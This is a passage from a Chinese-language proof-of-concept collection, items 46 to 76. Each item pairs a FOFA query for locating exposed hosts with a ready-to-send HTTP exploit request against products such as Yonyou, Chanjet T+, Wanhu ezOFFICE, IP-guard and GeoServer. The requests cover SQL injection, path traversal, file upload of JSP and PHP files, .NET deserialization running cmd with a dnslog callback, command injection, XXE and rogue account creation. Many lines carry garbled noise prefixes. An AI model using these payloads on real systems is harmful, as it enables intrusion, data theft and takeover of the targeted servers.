46. 用友GRP-U8 sqcxIndex.jsp SQL注入
1 c+ F: H+ p7 J% H7 X3 k6 HFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
6 q5 G* W) _) T; K) BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

, n, Q1 n4 N: f; r* o
47. 用友GRP A++Cloud 政府财务云 任意文件读取
, [3 R) w+ G; \' qFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  h0 b/ C8 r% f8 n8 r' z" OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
# o9 F! _5 A, ~! ]( o" s* S) TAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close

- G- d* h  g; g- N, M/ p  S
. K- l; ?( O- g5 B) I3 I, _
2 K& U9 T) t! \# J; d8 }48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
: V" t0 a/ k& X8 Z. }% r3 f) OHost: your-ip
$ u, L( H9 u- z# _  kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ w2 F1 @. {& o: E4 R2 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. K% C: R) O7 W1 D+ G8 F9 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( g0 B: X; g9 l" p+ e& RAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
- M! c5 Y' {# J8 {( xContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
$ i3 r; e" |0 Z$ N* q------269520967239406871642430066855
! L7 Y( g7 q% X: N4 TContent-Disposition: form-data; name="upload"
) b* S7 {! Q& q. R5 {upload
------269520967239406871642430066855--
% i% |9 Q/ m: V) B$ ~5 m. T
; V  o1 R$ P+ X: ^' e$ N6 l4 O/ x4 C
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
' ~* ]& h  r' a7 x0 B- H8 Q9 v; mFOFA：body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
3 S& J( @; L: i# P' b+ @5 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. [0 b  i) c% A9 q2 {! H) fContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; `( M/ [( n8 R! D% d% Y; V( C7 XContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
$ D; C9 h7 }! S3 a* {
9 n, z  F& m6 E' O% H5 z-----------------------------vvv3wdayqv3yppdxvn3w
2 b, ^  C) P& @2 H/ I6 kContent-Disposition: form-data; name="file"; filename="%s.php "
7 s  j, }, T6 }" l4 @; mContent-Type: application/octet-stream
# h- j. |5 F; p8 W
5 z3 l6 l- w/ @3 _0 y( y5 g, |- owersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
7 e8 w7 ^1 ?  N6 K9 x-----------------------------vvv3wdayqv3yppdxvn3w--
1 M4 ~: P# N! g  X8 L

2 U3 i- B1 ~. m4 P* X' }http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
; I' G" O2 ]7 j0 {# L/ qFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
8 l/ y, e  Y% `  g( L6 M* GUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& D2 J4 Q  {- S5 q& e3 _Connection: close
Content-Length: 224
Accept: */*
: d* |! C9 @* V$ B) T  P+ gAccept-Language: en
! H4 h; h3 x2 h8 ~Content-Type: application/x-www-form-urlencoded
0 Q1 [) I( Y+ S- OAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
  q' N  k2 _% B' o: n+ A

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
0 h' n; Q0 e5 R% CGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
6 c! y# n" Z, z$ n0 y6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
' B. e, Q3 \5 N) r& q/ A0 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+ F9 s0 @* s; L7 K/ P8 @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ D5 p* ?, E3 P* J4 O7 vConnection: close


" _9 |8 [/ d! B9 Z" D& {: W52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
4 d1 b* G3 {( E5 @% g( S( H5 Z* LPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
* T: W7 K$ {/ t* A; AUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 F& V# e! X; ]) oContent-Length: 87
Accept: */*
6 Z) y) Q& e! m: b! VAccept-Language: en
. L/ C! v) C1 z3 O2 JContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) R3 y/ n/ G* itfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
# a: z- G! ^6 f8 `$ d7 {

0 j/ X( o  a. K4 O* E& B53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
/ A# H/ q+ I! N( E
% q2 O+ h! }# u8 [
$ l# j+ H4 o$ ^% v: ?2 C+ |3 Y4 E54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
+ C; |9 T+ ]0 J4 D) C! U, Z5 _2 a
0 W3 ^) v! U- Y
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
0 k9 |# ^3 @3 |1 Y4 q4 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

+ u+ p8 U# T& l) r7 c( l, {9 H# o2 o{
- }8 \4 b3 ^0 R* V"storeID":{
+ T% o4 Z) Z7 M* \ "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 v7 ~- J) o  b- x9 Q  o    "StartInfo":{
. q, y# E+ t2 l# L; l5 |2 ]   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
+ l6 l4 ?  S: z7 v    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
% k- f2 v  L, o5 _* b; \8 I    }
3 h4 E/ g: {; I* m  }
  }
}


第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

2 p# e5 \7 j- Q2 `! G
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
  L; W+ P5 E( P/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/ U1 l' w; e& }" W* O8 i/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ q5 @- x) d0 C% D' k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
5 V  c' b! W) f6 NFOFA: app="畅捷通-TPlus"
# J# n% b. c& iPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
# I9 K# f( w! V2 iHost: x.x.x.x
* N$ o0 e: K, H% ]; z2 R  NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

2 _" ]  A2 c: s( M- z{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
$ o. Y0 {' z* C       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
  @5 e7 {3 x/ A% t. `, K           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
1 i& [& q( A/ V           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
8 [" c3 @* A% w. \9 L- v' w  }
}
8 O: B$ z8 f' \/ w- e3 h7 N& D, M

/ @5 F- C0 Q% M3 s57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
/ |3 k" ?. M+ b6 m& W/ Y+ [: GAccept-Charset: utf-8
& _  s; l3 [! xAccept-Encoding: gzip, deflate
( \/ e1 w, B$ C  |Connection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
% N7 n; q7 F3 b( }3 b' h. v0 yFOFA：app="畅捷通-TPlus"
1 _+ I% d% X. ]8 Y& [4 TGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
& _* G) ^9 l( V/ [, c& WHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
5 P5 Z$ J9 \" ^, i7 jAccept-Encoding: gzip, deflate
Connection: close
" b+ R) a  K3 w0 h! ^

; q3 t4 R; N& U" U+ B59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
( i2 H2 C* s/ j2 O* \9 T+ e/ zFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" h! j3 v/ o: t& yAccept-Encoding: gzip
( q+ [" U; E* y. R: ?* h
6 x# M2 |6 c4 MPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
2 `1 L' Q' Z: |! F" fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 h  o) \( B4 _/ G5 |- FAccept-Encoding: gzip, deflate
  @& c2 C4 o4 T3 P3 z/ ~  a3 GAccept-Language: zh-CN,zh;q=0.9
+ E% [' M4 w& |/ FConnection: close
- ^3 D& P) l; O7 `$ E
+ y# c, K, c5 ]' j0 k. d7 ]; u7 w
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
  W, Z, X; o7 A: K0 U5 E2 \0 Q8 cPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
) o% G& w/ x: `- D% B+ x4 V7 O7 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
/ Y& q4 A- G+ }/ ~+ HAccept: */*
- v) m8 F. l, K0 y5 {$ J7 {Accept-Encoding: gzip, deflate
Accept-Language: en
% m+ t7 l% J! s# i1 ^Content-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
% T/ `) [6 f: M7 r& V% z

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
! A6 G; j+ G7 H5 p+ t, }  _( P& uAccept-Encoding: gzip

. T8 \- V6 \* G
访问
9 y; M+ ^. b2 z; {1 C( V, j: K
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
# @; P6 G) f. }: ~; C. n& n% O
8 ~3 p) h' v" S2 L* j
63. IP-guard WebServer任意文件读取
$ t, I8 S- R. V5 d5 X6 |8 f$ yIP-guard < 4.82.0609.0
4 Y7 n6 k; [5 V- [/ l- kFOFA：icon_hash="2030860561"
5 d# L* o* T" n" \/ PPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% ]0 E6 z/ S' @' ^1 P& V1 wHost: your-ip
( j0 }9 u' |' v9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ ~$ O; d5 [/ q* q( {/ oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& W* Z! d& a" P! a2 L+ D8 EAccept-Encoding: gzip, deflate
# t) H, L, Z7 t& M1 r6 zAccept-Language: zh-CN,zh;q=0.9
$ Q# Z- ]( u! u! i4 s8 U4 \Connection: close
Content-Type: application/x-www-form-urlencoded

9 ?. p0 D6 T0 G' E5 m# \! A5 X: \& fpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
4 ?' ^$ ?/ f8 t5 ~9 N* y7 x6 pFOFA：body="/Scripts/EnjoyMsg.js"
6 _' X9 p! @2 P6 a. ?) tPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
8 k* t: O6 E7 D5 e& N8 M# CContent-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
# Q" W( ?5 L$ i# t5 m, L! GAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
  Z3 t4 i2 J' l3 X  |  J+ X+ ~, U<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
# p3 A1 o/ |5 p4 [3 q# S; H3 g    <GetOSpById xmlns="http://tempuri.org/">
) V" B8 O' u! x5 @! J! }2 ]      <sId>1';waitfor delay '0:0:5'--+</sId>
" I2 o. l% J1 u. i! T    </GetOSpById>
3 r5 E, l( `  i$ X$ m6 r* J  </soap:Body>
</soap:Envelope>

4 z" ^( J) e4 L4 G" U5 J
0 M5 J' p% a2 Q4 f# Y. y( k$ P$ u65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
5 v% h* O! H/ W1 A, v/ G响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
. \/ p( e8 z1 N8 P& R# O  g4 AHost:
( d1 a' d' n. V0 q4 x; Z& |+ PUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
8 p# P' k' ]  {$ F; ^$ EAccept: */*
  k7 y. L3 b3 H  B, \# q; }Connection: close
Accept-Language: en
3 l) A, a) I) [* HContent-Length: 174
: V; ?1 D# F( A0 X! ~. A
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
. x; [2 W- G( y* U/ _2 y. |. @4 d

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
2 z3 o' Z  D8 N% B5 j" Q
! a1 }1 l5 P: [: ?1 e, XGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
5 G& O# ~6 y# eHost: x.x.x.x
- }& R6 f3 ]) s; TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
! I7 a( R, m1 }5 F% Z" u$ X8 f$ LAccept-Language: en
/ _$ X6 f) t* {! I7 ~  b* \( o! ^Accept-Encoding: gzip

6 d  P5 C/ A( _7 ~0 u
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

& [" I1 l( D' p& y67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
0 k# Q8 o% q% F% T7 u; eUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
, u% c  i3 D3 R5 x" }8 CContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
/ W- M/ R5 ?, m2 oConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
- {0 s+ s4 k5 y8 r
; H3 U( O2 r- U; j, E6 t--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
2 b6 T' i# }8 f  s) {9 c0 `, Z! f. _
. }1 L9 ]' N# o0 T( q" q! X<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
' ^* A: N0 N# R% z

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
0 p7 [0 h+ U4 u) s3 h7 N& u9 G' A
* `& O7 i7 D9 b68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
4 y& L0 y3 j3 ^GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
9 Z5 n: j2 d; A- E  s. U( vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
" Z" b# _  _* \! mAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: t' t8 c! x& t1 V1 b$ v- ZConnection: close
4 H* s+ V6 y* N0 M: L
& O0 C2 F* Q6 Q+ {7 x+ m2 r
' V9 e3 Y7 f) [% g$ {: H69. 万户 ezOFFICE contract_gd.jsp SQL注入
2 y7 e9 m4 S- K6 j5 j6 W& B* @FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
( D& E9 ~4 ~4 u0 N/ mHost: your-ip
, s5 Y9 j4 C7 r; L% V9 JUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% W( Y! ]+ [) WConnection: keep-alive
' s: @$ O, n% a5 `5 s  e
& z" k+ r  b- ^+ Q" v: c( h" U
3 k; J  _/ [  L4 J. W# ?. b  G70. 万户ezEIP success 命令执行
7 @8 I/ Z$ Y) B# T0 @, C1 u7 oFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
6 ?0 v1 M" j6 G3 @9 A$ KHost: {{Hostname}}
) a  |1 c2 G$ i# kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
" U8 e, B! H' v5 HSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
0 k2 m: u5 @+ i4 d2 c! PTYPE: C
Content-Length: 16702
4 j( |0 y' ^: j! D. |
__VIEWSTATE=PAYLOAD
3 e1 X( G# v" n* f! ]' |3 a

71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
# P. y. ]" u- w1 _, F: THost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
' _' q/ Z6 q$ p2 B; L3 hConnection: close
: z/ \$ \* W7 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' Z: f* Q6 I1 C( l+ iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 ^5 y, n$ o. G7 h# s5 VUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
2 s! w5 i; L6 QFOFA：app="致远互联-OA"
9 e' P/ B5 I8 C) k1 @# w5 A9 ]POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
$ r- Q0 U4 {) R) R4 i/ bHost: 192.168.40.131:8099
6 W: t) x& ?( A/ KUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
. J. `$ R: y$ _) ]& l- ]Content-Length: 583
# ?( h4 k7 P. J; y: u6 zContent-Type: application/x-www-form-urlencoded
( w! y3 D7 f5 aAccept-Encoding: gzip

+ ^0 F& A4 X3 K0 p& Z; cS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


+ i: u, G' O3 U  |73. GeoServer wms远程代码执行
+ O; g) o, H- E: `FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
- @$ z3 b  F8 \( p5 c3 ~, F" m4 xConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

8 ]5 {+ Z2 P% F9 BPAYLOAD
" V5 J+ J, b$ U! Z
0 }5 k8 n/ S& k, g$ s, s6 ]* w% ^
& v5 O$ H* V( l6 A0 Z2 m, U- U74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
& p: T2 r: }9 |: t1 C5 {
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
* T, {- {' o4 J9 j% g+ K- VFOFA：app="TELESQUARE-TLR-2005KSH"
, G: Y3 n5 e6 }* A+ F- _  {4 aGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
+ s5 m* O" K4 q' B2 P- w; |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% R1 \( a& B9 F* CConnection: close
; e3 M% M' u3 w; cAccept: */*
. }; s! Z( b- F% m# Q! KAccept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
0 }1 `* G2 R* _8 kHost: x.x.x.x

0 h2 i4 H0 y5 p- A
2 [- t; [) w9 q) Q: `# ?3 a76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
- y- H! W# o% U$ z/ IContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 W7 \3 w- X6 T. Y; a. GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
